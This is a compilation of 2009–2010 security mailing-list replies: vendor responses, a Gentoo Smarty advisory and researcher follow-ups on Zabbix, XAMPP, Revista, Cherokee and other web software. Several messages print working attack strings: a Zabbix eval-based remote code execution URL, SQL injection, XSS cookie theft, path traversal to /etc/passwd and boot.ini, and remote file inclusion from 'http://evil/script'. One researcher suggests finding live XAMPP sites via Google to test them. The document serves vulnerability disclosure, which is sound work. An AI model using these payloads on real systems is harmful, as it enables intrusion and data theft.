
CVE-2006-4605 through CVE-2006-4608.



From: bill.carovano@citrix.com
Sent: Wed 29. Jul 2009 14:09
It should be noted that Citrix does not offer a feature or product called "XenCenterWeb."  At one time, this tool was included in the informal XenServer Resource Kit, to serve as an example of how to utilize the XenServer SDK and provide web-based consoles for specific types of administrators (where customers had such a need).  It was never a supported product or feature, and is in fact no longer available.

Bill Carovano
Sr. Director, Technical Product Marketing
Citrix Systems, Inc.


From: starchang@aten.com.tw
Sent: Wed 12. Aug 2009 10:34
This is Technical Support Team from ATEN.

Firstly, we appreciate all suggestions from Germany TUB LAB. Undoubtedly, guaranteeing our KVM products with robust security mechanism is our responsibility.

After discussing with Germany TUB LAB, we believe all security issues could be fixed by new Firmware version as below. 

- KH1508i/KH1516i v1.0.068 
- KN9108/KN9116 v1.1.109 
- PN9108 v1.8.179 

Scheduled Release Date is around Aug. 17, 2009 

Please visit our ATEN official site later.
http://www.aten.com/download/download.php

As for SSL Certificate, SSL Certificate import function has built into our KVM above with new firmware. We strongly suggest our KVM users to import their individual Certificate for advanced security concern. We will tell our KVM users how to generate their own Certificate by openssl tool in our product manual later.

Thanks,
ATEN SUPPORT


From: Glenn Rossi dragon@midatlanticbb.com
Sent: Mon 17. Aug 2009 11:56
I emailed you last week but did not receive a response.

What about units like the CN5000 that do not appear anywhere on your 
website?  We have two of these and are very concerned about the below-
referenced vulnerability.

Will a firmware upgrade for these units be forthcoming as well, or do 
we now own hundreds of dollars worth of paperweights?



> This is Technical Support Team from ATEN.
> 
> Firstly, we appreciate all suggestions from Germany TUB LAB.
> Undoubtedly, guaranteeing our KVM products with robust security
> mechanism is our responsibility. 
> 
> After discussing with Germany TUB LAB, we believe all security issues
> could be fixed by new Firmware version as below. 
> 
> - KH1508i/KH1516i v1.0.068 
> - KN9108/KN9116 v1.1.109 
> - PN9108 v1.8.179 
> 
> Scheduled Release Date is around Aug. 17, 2009 
> 
> Please visit our ATEN official site later.
> http://www.aten.com/download/download.php
> 
> As for SSL Certificate, SSL Certificate import function has built into
> our KVM above with new firmware. We strongly suggest our KVM users to
> import their individual Certificate for advanced security concern. We
> will tell our KVM users how to generate their own Certificate by
> openssl tool in our product manual later. 
> 
> Thanks,
> ATEN SUPPORT

--
Glenn Rossi
Operations/Security/Engineering
MidAtlantic BroadBand/Staffnet/Protel
------------------------------------------
voice:  (866) HELP-KIT ext 132

web:    http://www.midatlanticbb.com
email:  mailto:webmaster@midatlanticbb.com
fax:    (410) 727-8245
handle: dragon
------------------------------------------
MidAtlantic BroadBand
729 East Pratt St., Suite 440
Baltimore, MD USA 21202
------------------------------------------
Without security, freedom is not possible.
------------------------------------------




From: ign.sec@gmail.com
Sent: Wed 6. Jan 2010 09:55
One thing i forgot, a %00 must be included at the end of the LFI, IE: index.php?op=../../../../../../../etc/passwd%00 

And ?op is vulnerable to a xss attack, IE:
index.php?op=<script>alert(document.cookie)</script>

Ignacio.


From: MustLive mustlive@websecurity.com.ua
Sent: Thu 4. Feb 2010 22:01
Hello MaXe!

> Have you checked the newest aka (also known as) latest version which is
> actually: 1.7.3 ?

No, I didnt and there was a reason for it. All these 7 advisories were made
in 2009 (as it clear from Timeline which I made for all advisories). Only
now I sent them to Bugtraq. And that time XAMPP 1.7.1 was the latest
version.

Besides, in 2009 developer of XAMPP answered me (with thanks) only at one of
seven letters and he didnt mention about fixing any of holes which I found.
So there is possibility that all or some of these holes are still not fixed.

Im rarely sending advisories about vulnerabilities to Bugtraq. During
2007-2010 I sent only small amount of my advisories to Bugtraq. From the end
of 2006 I was sending all holes (http://securityvulns.ru/source15611.html)
which I found to securityvulns.ru (securityvulns.com) and 3APA3A, admin of
these sites, sometimes sent some of them to Bugtraq. Last month I drew
attention that he didnt write to Bugtraq about all these holes in XAMPP, so
I decided to write about them by myself :-).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua

----- Original Message ----- 
From: advisories@intern0t.net
To: bugtraq@securityfocus.com ; MustLive
Sent: Monday, February 01, 2010 10:53 AM
Subject: Re: Multiple vulnerabilities in XAMPP (advisory #7)


Hi MustLive

Have you checked the newest aka (also known as) latest version which is
actually: 1.7.3 ?

Link: http://www.apachefriends.org/en/xampp-windows.html


Best regards,
MaXe

On January 28, 2010 at 11:55 PM MustLive <mustlive@websecurity.com.ua>
wrote:

> Hello Bugtraq!
>
> I am continue informing you about multiple vulnerabilities in XAMPP.
>
> -----------------------------
> Advisory #7
> -----------------------------
> CSRF, SQL Injection and Full path disclosure vulnerabilities in XAMPP
> -----------------------------
> URL: http://websecurity.com.ua/3285/
> -----------------------------
> Timeline:
>
> 27.06.2009 - found the vulnerabilities.
> 01.07.2009 - announced at my site.
> 02.07.2009 - informed developers.
> 08.08.2009 - disclosed at my site.
> -----------------------------
> Details:
>
> These are Cross-Site Request Forgery, SQL Injection and Full path
> disclosure
> vulnerabilities.
>
> CSRF:
>
> http://site/xampp/cds-fpdf.php
>
> Its possible to delete or add data in test table (as via CSRF, and as via
> Insufficient Authorization vulnerabilities). And also to conduct SQL
> Injection via CSRF attacks.
>
> SQL Injection:
>
> http://site/xampp/cds-fpdf.php?action=del&id=-1%20or%201=1 (register
> globals
> on)
>
> http://site/xampp/cds-fpdf.php?interpret=1&titel=1&jahr=1),(version(),1,1
>
> http://site/xampp/cds-fpdf.php?interpret=1&titel=,1,1),(version(),1,1)/*
> (mq off)
>
> http://site/xampp/cds-fpdf.php?titel=1&interpret=,1),(version(),1,1)/*
> (mq
> off)
>
> Attack is possible during access to admin panel (via Insufficient
> Authorization), or via CSRF.
>
> Full path disclosure:
>
> http://site/xampp/external/ps/draw.php
> http://site/xampp/external/ps/hyperlinks.php
> http://site/xampp/external/ps/image.php
> http://site/xampp/external/ps/overprint.php
> http://site/xampp/external/ps/ps.php?submit=OK
> http://site/xampp/external/ps/shading.php
> http://site/xampp/external/ps/spotcolor.php
> http://site/xampp/external/ps/text.php
> http://site/xampp/special/ps/draw.php
> http://site/xampp/special/ps/hyperlinks.php
> http://site/xampp/special/ps/image.php
> http://site/xampp/special/ps/overprint.php
> http://site/xampp/special/ps/ps.php?submit=OK
> http://site/xampp/special/ps/shading.php
> http://site/xampp/special/ps/spotcolor.php
> http://site/xampp/special/ps/text.php
>
> Vulnerable are XAMPP 1.6.8 and previous versions. And potentially next
> versions (including last version XAMPP 1.7.1).
>
> -----------------------------
>
> Best wishes & regards,
> MustLive
> Administrator of Websecurity web site
> http://websecurity.com.ua


From: MustLive mustlive@websecurity.com.ua
Sent: Sat 6. Feb 2010 23:56
Hello Sebastien!

You can confirm it by yourself. Just find a site on XAMPP (Google can help
you with it) and check the holes using PoCs which I provided.

> and what target of xampp is it ? win32 ? linux ?

As far as I remember last year when I found all these vulnerabilities in
XAMPP, it was XAMPP on Windows servers on all those sites where I found
these holes.

In 99% of cases Im researching vulnerabilities in the Web at real sites,
not at localhost (at localhost I can check for holes only in software which
I use). And I had never used XAMPP (or WAMPP or LAMPP) and I checked all
these holes at real web sites. So in all my advisories I wrote "Vulnerable
are XAMPP 1.6.8 and previous versions", because maximum version which I
found was 1.6.8. And it was quite possible that version 1.7.1 (last version
at that time) was also vulnerable, so I mentioned about it in my advisories.
And XAMPP developers didnt refute existence of vulnerabilities in 1.7.0 and
1.7.1, when I informed them, and didnt answer if they fixed the holes (so
its possible that these holes are still not fixed).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua

----- Original Message ----- 
From: S?bastien H?nar?s
To: MustLive
Cc: advisories@intern0t.net ; bugtraq@securityfocus.com
Sent: Friday, February 05, 2010 1:19 AM
Subject: Re: Multiple vulnerabilities in XAMPP (advisory #7)


Hello people, can a secondary source confirm the vuln please ?
and what target of xampp is it ? win32 ? linux ?


2010/2/4 MustLive <mustlive@websecurity.com.ua>

Hello MaXe!


Have you checked the newest aka (also known as) latest version which is
actually: 1.7.3 ?


No, I didnt and there was a reason for it. All these 7 advisories were made
in 2009 (as it clear from Timeline which I made for all advisories). Only
now I sent them to Bugtraq. And that time XAMPP 1.7.1 was the latest
version.

Besides, in 2009 developer of XAMPP answered me (with thanks) only at one of
seven letters and he didnt mention about fixing any of holes which I found.
So there is possibility that all or some of these holes are still not fixed.

Im rarely sending advisories about vulnerabilities to Bugtraq. During
2007-2010 I sent only small amount of my advisories to Bugtraq. From the end
of 2006 I was sending all holes (http://securityvulns.ru/source15611.html)
which I found to securityvulns.ru (securityvulns.com) and 3APA3A, admin of
these sites, sometimes sent some of them to Bugtraq. Last month I drew
attention that he didnt write to Bugtraq about all these holes in XAMPP, so
I decided to write about them by myself :-).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua


From: lars@enomaly.com
Sent: Tue 16. Feb 2010 15:39
The reported issue DOES NOT AFFECT ANY CURRENT ENOMALY PRODUCT.  Our current products are Enomaly ECP Service Provider Edition and Enomaly ECP High Assurance Edition, and neither utilizes the "vmfeed" module.

Specifically, the "vmfeed" module has not been utilized in any version of our products released since the initial release of Enomaly ECP Service Provider Edition in June 2009.  The "vmfeed" module was utilized only in our previous-generation "Community Edition" product, which has been deprecated and withdrawn from distribution.  Enomaly ECP Service Provider Edition is a completely different product from the old Community Edition.

As a result, since the Community Edition product is deprecated and has been withdrawn, Enomaly has not investigated this reported issue.

Further information on the differences between the deprecated Community Edition technology and our current Service Provider Edition technology can be found at http://src.enomaly.com.

Lars-Erik Forsberg, VP Delivery
Enomaly Inc.


From: dan.j.rosenberg@gmail.com
Sent: Fri 5. Mar 2010 12:10
Apparently Bugtraq doesnt like attachments.  The patches are available as attachments to the archived Full-Disclosure posting, at:

http://seclists.org/fulldisclosure/2010/Mar/122


From: Andrew Morum amorum@brendata.co.uk
Sent: Thu 3. Jun 2010 15:57
Not sure, phprunner incorporates this doesnt it? 

-----Original Message-----
From: Alex Legler [mailto:a3li@gentoo.org] 
Sent: 02 June 2010 22:18
To: gentoo-announce@gentoo.org
Cc: bugtraq@securityfocus.com; full-disclosure@lists.grok.org.uk;
security-alerts@linuxsecurity.com
Subject: [ GLSA 201006-13 ] Smarty: Multiple vulnerabilities

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -=

Gentoo Linux Security Advisory                           GLSA 201006-13=

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -=

                                            http://security.gentoo.org/=

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -=


  Severity: Normal
     Title: Smarty: Multiple vulnerabilities
      Date: June 02, 2010
      Bugs: #212147, #243856, #270494
        ID: 201006-13

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -=


Synopsis
=3D=3D=3D=3D=3D=3D=3D=3D

Multiple vulnerabilities in the Smarty template engine might allow
remote attackers to execute arbitrary PHP code.

Background
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

Smarty is a template engine for PHP.

Affected packages
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

    -------------------------------------------------------------------=

     Package         /  Vulnerable  /                       Unaffected
    -------------------------------------------------------------------=

  1  dev-php/smarty      < 2.6.23                            >=3D 2.6.2=
3

Description
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

Multiple vulnerabilities have been discovered in Smarty:

* The vendor reported that the modifier.regex_replace.php plug-in
  contains an input sanitation flaw related to the ASCII NUL character
  (CVE-2008-1066).

* The vendor reported that the _expand_quoted_text() function in
  libs/Smarty_Compiler.class.php contains an input sanitation flaw via
  multiple vectors (CVE-2008-4810, CVE-2008-4811).

* Nine:Situations:Group::bookoo reported that the
  smarty_function_math() function in libs/plugins/function.math.php
  contains input sanitation flaw (CVE-2009-1669).

Impact
=3D=3D=3D=3D=3D=3D

These issues might allow a remote attacker to execute arbitrary PHP
code.

Workaround
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

There is no known workaround at this time.

Resolution
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

All Smarty users should upgrade to an unaffected version:

    # emerge --sync
    # emerge --ask --oneshot --verbose ">=3Ddev-php/smarty-2.6.23"

NOTE: This is a legacy GLSA. Updates for all affected architectures are=

available since June 2, 2009. It is likely that your system is already
no longer affected by this issue.

References
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

  [ 1 ] CVE-2008-1066
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=3DCVE-2008-1066
  [ 2 ] CVE-2008-4810
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=3DCVE-2008-4810
  [ 3 ] CVE-2008-4811
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=3DCVE-2008-4811
  [ 4 ] CVE-2009-1669
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=3DCVE-2009-1669

Availability
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

  http://security.gentoo.org/glsa/glsa-201006-13.xml

Concerns?
=3D=3D=3D=3D=3D=3D=3D=3D=3D

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
security@gentoo.org or alternatively, you may file a bug at
https://bugs.gentoo.org.

License
=3D=3D=3D=3D=3D=3D=3D

Copyright 2010 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.5


The information contained in this email is intended for the personal an=
d confidential use
of the addressee only. It may also be privileged information. If you ar=
e not the intended
recipient then you are hereby notified that you have received this docu=
ment in error and
that any review, distribution or copying of this document is strictly p=
rohibited. If you have 
received  this communication in error, please notify Brendata immediate=
ly on: 

+44 (0)1268 466100, or email technical@brendata.co.uk 

Brendata (UK) Ltd
Nevendon Hall, Nevendon Road, Basildon, Essex. SS13 1BX  UK
Registered Office as above. Registered in England No. 2764339

See our current vacancies at www.brendata.co.uk


From: security curmudgeon jericho@attrition.org
Sent: Thu 1. Jul 2010 19:16
On Sat, 12 Jun 2010, info@securitylab.ir wrote:

: #################################################################  
: # Securitylab.ir  
: #################################################################  
: # Application Info:  
: # Name: Cherokee Web Server
: # Version: 0.5.3
: # Download: http://mirror.aarnet.edu.au/pub/cherokee/windows/Cherokee-setup-0.5.3.exe
: #################################################################  

: [Directory Traversal]:
: http://127.0.0.1/%5C../%5C../%5C../boot.ini%20

This is essentially CVE-2009-3902, just encoding one char.

: [Remote Source Disclosure]:
: http://127.0.0.1:80/file.html::$DATA
: 
: http://127.0.0.1/index.htm%20 

Did you try these on something other than HTML? Did it work for .php or 
.asp for example?


From: scott.switzer@openx.org
Sent: Wed 28. Jan 2009 16:34
OpenX has fixed all of the vulnerabilities, and will release new versions of v2.4 and v2.6, after the QA cycle, in the next 24-48 hours.

Scott Switzer
OpenX Community Leader


From: =?ISO-8859-1?Q?Roberto_Mu=F1oz_Fernandez?= robertomf@fujitsu.es
Sent: Fri 6. Mar 2009 00:42
Vulnerability A) confirmed in zabbix 1.4.* for example in..


http://url.foo/tr_status.php?compact=false&onlytrue=true&noactions=true&select=false&txt_select=&sort[%22.phpinfo().%22]=1
<http://url.foo/tr_status.php?compact=false&onlytrue=true&noactions=true&select=false&txt_select=&sort%5B%22.phpinfo%28%29.%22%5D=1>
<http://url.foo/tr_status.php?compact=false&onlytrue=true&noactions=true&select=false&txt_select=&sort%5B%22.phpinfo%28%29.%22%5D=1>
> Zabbix 1.6.2 Frontend Multiple Vulnerabilities
>
>  Name              Multiple Vulnerabilities in Zabbix Frontend
>  Systems Affected  Zabbix 1.6.2 and possibly earlier versions
>  Severity          High
>  Impact (CVSSv2)   High 9.7/10, vector: (AV:N/AC:L/Au:N/C:P/I:C/A:C)
>  Vendor            http://www.zabbix.com/
>  Advisory          http://www.ush.it/team/ush/hack-zabbix_162/adv.txt
>  Authors           Antonio "s4tan" Parata (s4tan AT ush DOT it)
>                    Francesco "ascii" Ongaro (ascii AT ush DOT it)
>                    Giovanni "evilaliv3" Pellerano (evilaliv3 AT
>                    digitalbullets DOT org)
>  Date              20090303
>
> I. BACKGROUND
>
> >From the Zabbix web site: "ZABBIX offers advanced monitoring, alerting
> and visualization features today which are missing in other monitoring
> systems, even some of the best commercial ones".
>
> II. DESCRIPTION
>
> Multiple Vulnerabilities exist in Zabbix front end software.
>
> III. ANALYSIS
>
> Summary:
>
>  A) Remote Code Execution
>  B) Cross Site Request Forgery
>  C) Local File Inclusion
>
> A) Remote Code Execution
>
> A Remote Code Execution issue has been found in Zabbix version
> 1.6.2 and no authentication is required in order to exploit this
> vulnerability. The Magic Quotes must be off in order to exploit
> this vulnerability, however this feature will not be supported
> starting with PHP 6.0 (ref. http://it2.php.net/magic_quotes).
>
> Zabbix has a security feature that parses all incoming input for
> possible bad chars with the help of the function check_fields() defined
> in "include/validate.inc.php". The issue we have discovered is contained
> in this input validation code.
>
> Pages define an array of every used variable that derives from external
> (GPC) input. An example of the mechanism is the following:
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> $fields=array(
>  "config"=>     array(T_ZBX_INT, O_OPT, P_SYS, IN("0,1"), NULL),
>  // actions
>  "groupid"=>    array(T_ZBX_INT, O_OPT, P_SYS|P_NZERO, DB_ID, NULL),
>  "hostid"=>     array(T_ZBX_INT, O_OPT, P_SYS|P_NZERO, DB_ID, NULL),
>  "start"=>      array(T_ZBX_INT, O_OPT, P_SYS, BETWEEN(0,65535)."({}%".
>                 PAGE_SIZE."==0)", NULL),
>  "next"=>       array(T_ZBX_STR, O_OPT, P_SYS, NULL, NULL),
>  "prev"=>       array(T_ZBX_STR, O_OPT, P_SYS, NULL, NULL),
>  // filter
>  "filter_rst"=> array(T_ZBX_INT, O_OPT, P_SYS, IN(array(0,1)), NULL),
>  "filter_set"=> array(T_ZBX_STR, O_OPT, P_SYS, null, NULL),
>  "userid"=> array(T_ZBX_INT, O_OPT, P_SYS, DB_ID, NULL),
>  filter_timesince=> array(T_ZBX_INT, O_OPT, P_UNSET_EMPTY, null, NULL),
>  filter_timetill=> array(T_ZBX_INT, O_OPT, P_UNSET_EMPTY, null, NULL),
>  //ajax
>  favobj=>     array(T_ZBX_STR, O_OPT, P_ACT, NULL, NULL),
>  favid=>      array(T_ZBX_STR, O_OPT, P_ACT, NOT_EMPTY,
>                 isset({favobj})),
>  state=>      array(T_ZBX_INT, O_OPT, P_ACT, NOT_EMPTY,
>                 isset({favobj}) && ("filter"=={favobj})),
> );
>
> check_fields($fields);
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> After the definition of the "$fields" array all the variables are
> checked by the function check_fields().
>
> The main step of the check_fields() function is:
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> foreach($fields as $field => $checks){
>  $err |= check_field($fields, $field, $checks);
> }
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> Following the check_field() function we have identified that the
> functions main steps are the creation of some local variables using
> list() and a consequent call of calc_exp() (which resides in the same
> file).
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> list($type, $opt, $flags, $validation, $exception) = $checks;
> [...]
> $except=calc_exp($fields,$field,$exception);
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> calc_exp()s code is:
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> function calc_exp($fields,$field,$expression){
>  if(zbx_strstr($expression,"{}") && !isset($_REQUEST[$field]))
>   return FALSE;
>
>  if(zbx_strstr($expression,"{}") && !is_array($_REQUEST[$field]))
>   $expression = str_replace("{}",$_REQUEST[".$field."],$expression);
>
>  if(zbx_strstr($expression,"{}") && is_array($_REQUEST[$field])){
>  foreach($_REQUEST[$field] as $key => $val){
>    $expression2 =
> str_replace("{}",$_REQUEST[".$field."][".$key."],$expression);
>    if(calc_exp2($fields,$field,$expression2)==FALSE)
>     return FALSE;
>   }
>   return TRUE;
>  }
>  return calc_exp2($fields,$field,$expression);
> }
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> As you can see we should be able to call calc_exp2(), our vulnerable
> function, avoiding to fall into a breach that exits (returns) from the
> function.
>
> Investigating calc_exp2()s source:
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> function calc_exp2($fields,$field,$expression){
>  foreach($fields as $f => $checks){
>   $expression = str_replace({.$f.},$_REQUEST[".$f."],$expression);
>  }
>
>  $expression = trim($expression,"& ");
>  $exec = "return (".$expression.") ? 1 : 0;";
>
>  $ret = eval($exec);
>
>  return $ret;
> }
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> We have reached a function that contains an eval() call of the "$exec"
> variable that contains user controlled data.
>
> To better understand how the executed string is composed we must find
> a disposable page. Thanks to "locales.php" we can reach this function
> without any authentication.
>
> Now if we try to execute the query:
>
> /locales.php?download&langTo&extlang[AAA]=1
>
> The value of $exec is the following:
>
> return (($_REQUEST["extlang"]["AAA"]!=)) ? 1 : 0;
>
> Some constraints exist: the injected payload must comply with the
> calc_exp()s requirements in order to call calc_exp2() and the created
> string must be syntactically correct. What we can do is to play with
> the key values of the array. An intermediate test was:
>
> /locales.php?download&langTo&extlang[AAA"];phpinfo();]=1
>
> But it generates a syntax error. After some thinking the problem was
> solved in this way:
>
> /locales.php?download&langTo&extlang[".phpinfo()."]=1
>
> Now the syntax is correct and the payload gets executed.
>
> B) Cross Site Request Forgery
>
> A CSRF vulnerability exists in file "users.php". If the admin visits the
> following link:
>
> /users.php?config=0&save&alias=alias&name=foo&surname=foo&user_type=3&
> lang=lang&theme=theme&autologout=0&url=url&refresh=0
>
> A user with admin permissions is created.
>
> C) Local File Inclusion
>
> If the user is authenticated, a Local File Inclusion vulnerability
> exists in file "locales.php".
>
> The following URL exploits this vulnerability:
>
> /locales.php?action=1&next=1&srclang=../validate&extlang=en
>
> A string in the form of ".inc.php" is automatically appended to the
> local file path. Despite that its possible to include every target
> file truncating the filename using %00 (nullbyte):
>
> /locales.php?next=1&srclang=../../../../../../../var/log/apache2/error_log%00%22
>
> Nullbyte injection normally requires magic quotes off.
>
> The vulnerable code is the following:
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
>  srclang=> array(T_ZBX_STR, O_OPT, NULL, NOT_EMPTY, isset({next})),
> [...]
> else if(isset($_REQUEST[next])){
> [...]
>  $fileFrom = include/locales/.$_REQUEST[srclang].".inc.php";
>   if(file_exists($fileFrom)){
>    include($fileFrom);
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> IV. DETECTION
>
> Zabbix 1.6.2 and possibly earlier versions are vulnerable.
>
> V. WORKAROUND
>
> Update zabbix from svn the server (svn://svn.zabbix.com) or download
> version 1.6.3 when aviable.
>
> VI. VENDOR RESPONSE
>
> Vendor will fix all the exposed vulnerabilities in Zabbix 1.6.3.
>
> VII. CVE INFORMATION
>
> No CVE at this time.
>
> VIII. DISCLOSURE TIMELINE
>
> 20081215 Bug discovered
> 20090116 Initial vendor contact
> 20090116 Vendor Response (Fixes will be included in Zabbix 1.6.3)
> 20090130 Second email (When this is going to be fixed?)
> 20090131 Vendor Response (Everything has been fixed a week ago and is
>          publicy aviable in the SVN, Zabbix 1.6.3 will be released
>          within 10-15 days)
> 20090220 Third email (20 days elasped and no response, we will release
>          on 23 Feb)
> 20090220 Vendor Response (Postpone of 5-10 days required)
> 20090220 Third email (We will wait 5-10 days, 2 March is the deadline
>          if no contact)
> 20090303 Forced Advisory Release
>
> IX. CREDIT
>
> Antonio "s4tan" Parata, Francesco "ascii" Ongaro and Giovanni
> "evilaliv3" Pellerano are credited with the discovery of this
> vulnerability.
>
> Antonio "s4tan" Parata
> web site: http://www.ictsc.it/
> mail: s4tan AT ictsc DOT it, s4tan AT ush DOT it
>
> Francesco "ascii" Ongaro
> web site: http://www.ush.it/
> mail: ascii AT ush DOT it
>
> Giovanni "evilaliv3" Pellerano
> web site: http://www.evilaliv3.org
> mail: giovanni.pellerano AT evilaliv3 DOT org
>
> X. LEGAL NOTICES
>
> Copyright (c) 2009 Francesco "ascii" Ongaro
>
> Permission is granted for the redistribution of this alert
> electronically. It may not be edited in any way without mine express
> written consent. If you wish to reprint the whole or any
> part of this alert in any other medium other than electronically,
> please email me for permission.
>
> Disclaimer: The information in the advisory is believed to be accurate
> at the time of publishing based on currently available information. Use
> of the information constitutes acceptance for use in an AS IS condition.
> There are no warranties with regard to this information. Neither the
> author nor the publisher accepts any liability for any direct, indirect,
> or consequential loss or damage arising from use of, or reliance on,
> this information.
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>
>   



From: Eygene Ryabinkin rea-sec@codelabs.ru
Sent: Mon 9. Mar 2009 14:59
Good day.

Small addition to the advisory.

Tue, Mar 03, 2009 at 03:30:26PM +0000, ascii wrote:
> Zabbix 1.6.2 Frontend Multiple Vulnerabilities
[...]
> C) Local File Inclusion
> 
> If the user is authenticated, a Local File Inclusion vulnerability
> exists in file "locales.php".
> 
> The following URL exploits this vulnerability:
> 
> /locales.php?action=1&next=1&srclang=../validate&extlang=en
> 
> A string in the form of ".inc.php" is automatically appended to the
> local file path. Despite that its possible to include every target
> file truncating the filename using %00 (nullbyte):
> 
> /locales.php?next=1&srclang=../../../../../../../var/log/apache2/error_log%00%22
> 
> Nullbyte injection normally requires magic quotes off.
> 
> The vulnerable code is the following:
> 
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
> 
>  srclang=> array(T_ZBX_STR, O_OPT, NULL, NOT_EMPTY, isset({next})),
> [...]
> else if(isset($_REQUEST[next])){
> [...]
>  $fileFrom = include/locales/.$_REQUEST[srclang].".inc.php";
>   if(file_exists($fileFrom)){
>    include($fileFrom);
> 
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--

The second variable, extlang, also can be used for the file inclusion
and before r6886 there was the programming error: patch for locales.php
r6593 included wrong validation condition for extlang:
-----
if(ereg(^[A-Za-z0-9_]+$, $_REQUEST[srclang]) && ($_REQUEST[extlang] != new))
-----
This was fixed in revision 6886 of branches/1.6.

> IV. DETECTION
> 
> Zabbix 1.6.2 and possibly earlier versions are vulnerable.
> 
> V. WORKAROUND
> 
> Update zabbix from svn the server (svn://svn.zabbix.com) or download
> version 1.6.3 when aviable.

Be sure to update to the r6886 or later, otherwise LFI will still
be possible.
-- 
Eygene


From: marianiscc@hotmail.com
Sent: Mon 13. Apr 2009 14:49
Discovered by Sirdarckcat from elhacker.net

------------------------------------------------------------------------
------------

Revista 1.1.2

http://php-revista.sourceforge.org

------------------------------------------------------------------------
------------

Revista is a simple spanish PHP magazine editor.

It was done by php.org.mx

It suffers of multiple vulnerabilities.

------------------------------------------------------------------------
------------

Remote File Inclusion

http://revista/estilo/[ANY STYLE]/index.php?adodb=http://evil/script

------------------------------------------------------------------------
------------

SQLi

http://revista/estilo/[ANY STYLE]/busqueda_tema.php?id_temas=-1+[SQL]

http://revista/estilo/[ANY STYLE]/busqueda.php?cadena=+[SQL]

http://revista/estilo/[ANY STYLE]/autor.php?id_autor=-1+[SQL]

http://revista/estilo/[ANY STYLE]/lista.php?email=+[SQL]

http://revista/estilo/[ANY STYLE]/articulo.php?id_articulo=-1+[SQL]

------------------------------------------------------------------------
------------

Credentials Bypass

http://revista/admin/index.php?ID_ADMIN=1&SUPER_ADMIN=1

------------------------------------------------------------------------
------------

XSS

http://revista/estilo/[ANY STYLE]/busqueda.php?cadena=<XSS>

http://revista/estilo/[ANY STYLE]/lista.php?email=<XSS>

------------------------------------------------------------------------
------------

Att.

Sirdarckcat


From: David Cantrell d.cantrell@outcometechnologies.com
Sent: Wed 13. May 2009 11:10
ascii wrote:

> FormMail 1.92 Multiple Vulnerabilities  ...

The authors own webpage about formmail mentions the NMS project at the 
bottom of the page, about which he says:

" While the free code found at my web site has not evolved much in
   recent years, the general programming practices and standards of CGI
   programs have. nms is an attempt by very active programmers in the
   Perl community to bring the *quality of code for these types of
   programs up to date and eliminate some of the bad programming
   practices and bugs* found in the existing Matts Script Archive code.

" I would highly recommend downloading the nms versions if you wish to
   learn CGI programming. The code you find at Matts Script Archive is
   not representative of how even I would code these days. *My interests
   and activies have moved on, however, and I just have not found the
   time to update all of my scripts*. One of the major reasons for this
   is that they work for many people. For this reason, I will continue to
   provide them to the public, but am also *pleased to make you aware of
   well-coded alternatives*. "

(my emphasis)

which to me looks like hes already addressed the issue by recommending 
that you use NMS formmail if you care about the quality of the code and 
any bugs.

-- 
David Cantrell
Outcome Technologies Ltd
BUPA House, 15-19 Bloomsbury Way, London WC1A 2BA
Registered in England, No: 3829851


From: ascii ascii@katamail.com
Sent: Wed 13. May 2009 13:05
David Cantrell wrote:
> which to me looks like hes already addressed the issue by recommending
> that you use NMS formmail if you care about the quality of the code and
> any bugs.

Dear David,

telling people to use a different software doesnt automatically fix
issues.

As we tested FormMail and want to warn people who deployed FormMail and
will deploy FormMail we posted an advisory for FormMail. Hope this open
your mind.

Bye,
ascii
ush.it


From: TK147@TheArchitect.com
